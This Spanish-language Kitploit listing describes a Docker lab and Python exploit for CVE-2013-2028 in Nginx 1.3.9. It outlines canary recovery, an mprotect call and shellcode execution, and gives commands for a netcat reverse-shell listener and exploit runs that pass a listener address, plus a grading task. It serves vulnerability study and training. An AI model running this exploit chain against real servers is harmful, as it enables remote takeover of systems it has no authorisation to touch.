Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2013-2028-Exploit — Laboratorio basado en Docker y exploit en Python para CVE-2013-2028, un desbordamiento de entero en el analizador de transferencia fragmentada de Nginx 1.3.9, que abarca la recuperación del canario, mprotect y la ejecución de shellcode. | Kitploit
Herramientas/GitHubGitHub/vanivamshi/cve-2013-2028-exploit
Análisis de VulnerabilidadesExplotaciónShellcodeVirtualización de SeguridadPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de PayloadsExplotación de BinariosLabs y Práctica
GitHubvanivamshi/cve-2013-2028-exploit

CVE-2013-2028-Exploit

Laboratorio basado en Docker y exploit en Python para CVE-2013-2028, un desbordamiento de entero en el analizador de transferencia fragmentada de Nginx 1.3.9, que abarca la recuperación del canario, mprotect y la ejecución de shellcode.

Ver Repositorio
hace 7h 56mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Exploit de CVE-2013-2028

Detalles de la vulnerabilidad

Software vulnerable: Nginx 1.3.9

Función vulnerable: ngx_http_parse_chunked

CVE-2013-2028 es una vulnerabilidad de desbordamiento de entero en el analizador de codificación de transferencia fragmentada HTTP de Nginx. Bajo las condiciones objetivo de este entorno de laboratorio, la vulnerabilidad puede provocar corrupción de memoria y puede utilizarse para influir en el flujo de control.

Este repositorio proporciona un entorno aislado basado en Docker para estudiar la vulnerabilidad y reproducir el flujo de trabajo de explotación.

Detalles de la explotación

El exploit completo consta de cuatro fases principales:

  1. Recuperación del canario de pila

    Recuperar el canario de pila mediante sondeo byte a byte.

  2. Manipulación de la protección de memoria

    Calcular la información de dirección relevante y construir la secuencia de flujo de control necesaria para invocar mprotect sobre la región de memoria controlada.

  3. Colocación del shellcode

    Copiar el payload en la región de memoria controlada.

  4. Transferencia del flujo de control

Transferir la ejecución a la región de memoria controlada.

El exploit completo demuestra la progresión desde la activación del analizador vulnerable, pasando por la corrupción de memoria y la manipulación del flujo de control, hasta la ejecución de código controlada.

Requisitos

  • Docker
  • Docker Compose
  • Python 3
  • Las dependencias de Python requeridas por exploit.py
  • netcat para el listener utilizado por el laboratorio completo

Cómo reproducir

1. Iniciar el listener

En el sistema anfitrión, iniciar un listener en el puerto configurado:

root@kitploit:~
nc -lvp 4345

Utilizar el mismo puerto con el argumento --listenerport (-lp) al ejecutar el exploit.

2. Iniciar el contenedor Nginx vulnerable

Construir e iniciar el entorno Docker:

root@kitploit:~
sudo docker-compose up --build

El objetivo vulnerable ejecuta Nginx 1.3.9 dentro del contenedor.

Se puede verificar la versión de Nginx con:

root@kitploit:~
docker-compose exec cve-2013-2028 /usr/local/nginx/sbin/nginx -v

3. Ejecutar el exploit completo

Ejecutar:

root@kitploit:~
python3 exploit.py \
    -ra 127.0.0.1 \
    -rp 8081 \
    -la <listener-machine-address> \
    -lp <listener-machine-port>

El exploit realiza las etapas de recuperación del canario y construcción del payload antes de enviar el payload final al objetivo vulnerable.

Si se dispone de un canario recuperado previamente, se puede proporcionar mediante:

root@kitploit:~
python3 exploit.py \
    -ra 127.0.0.1 \
    -rp 8081 \
    -la <listener-machine-address> \
    -lp <listener-machine-port> \
    -c '<canary>'

4. Tarea intermedia

El repositorio también proporciona una tarea intermedia para evaluar el progreso a través del flujo de trabajo de investigación de la vulnerabilidad.

Ejecutar:

root@kitploit:~
python3 intermediate_task.py \
    -ra 127.0.0.1 \
    -rp 8081 \
    -la <listener-machine-address> \
    -lp <listener-machine-port>

La tarea intermedia realiza sus comprobaciones directamente contra el objetivo Docker en ejecución. No depende de archivos de evidencia creados manualmente ni de aserciones JSON proporcionadas manualmente.

La tarea verifica dos áreas:

Identificación de la vulnerabilidad

La tarea:

  • Confirma que el contenedor objetivo está en ejecución.
  • Detecta la versión de Nginx instalada.
  • Determina si la versión detectada corresponde a la versión vulnerable de Nginx utilizada por el laboratorio.

Validación de la configuración

La tarea:

  • Confirma que el contenedor Docker está en ejecución.
  • Confirma que Nginx está en ejecución.
  • Valida la configuración de Nginx utilizando nginx -t.

La comprobación de la configuración establece que la configuración de Nginx es sintácticamente válida. No debe interpretarse por sí misma como prueba de que CVE-2013-2028 ha sido mitigada.

Ejemplo de salida:

root@kitploit:~
============================================================
CVE-2013-2028 INTERMEDIATE TASK
============================================================

Target:
  nginx running:        True
  nginx version:        1.3.9
  vulnerable build:     True

Progress:
  [x] vulnerability_identified
  [x] configuration_validated

All required checks completed.
Exercise complete.

La tarea intermedia almacena los resultados de estas comprobaciones en tiempo de ejecución en:

root@kitploit:~
grader_state.json

Este archivo se utiliza únicamente para persistir el estado producido por las comprobaciones. No es la fuente de la determinación de la vulnerabilidad.

Objetivo Docker

El entorno de laboratorio utiliza intencionadamente Nginx 1.3.9, una versión antigua de Nginx afectada por CVE-2013-2028.

El entorno Docker proporciona un objetivo aislado para la investigación de vulnerabilidades y los ejercicios de explotación. Solo debe accederse al servicio vulnerable a través de las interfaces expuestas por la configuración del laboratorio.

Descargo de responsabilidad

Este repositorio está destinado únicamente a fines educativos y de investigación de seguridad autorizada en un entorno de laboratorio aislado.

No ejecutar el exploit contra sistemas que no sean de su propiedad o para los que no tenga autorización explícita de prueba.

Descargar herramienta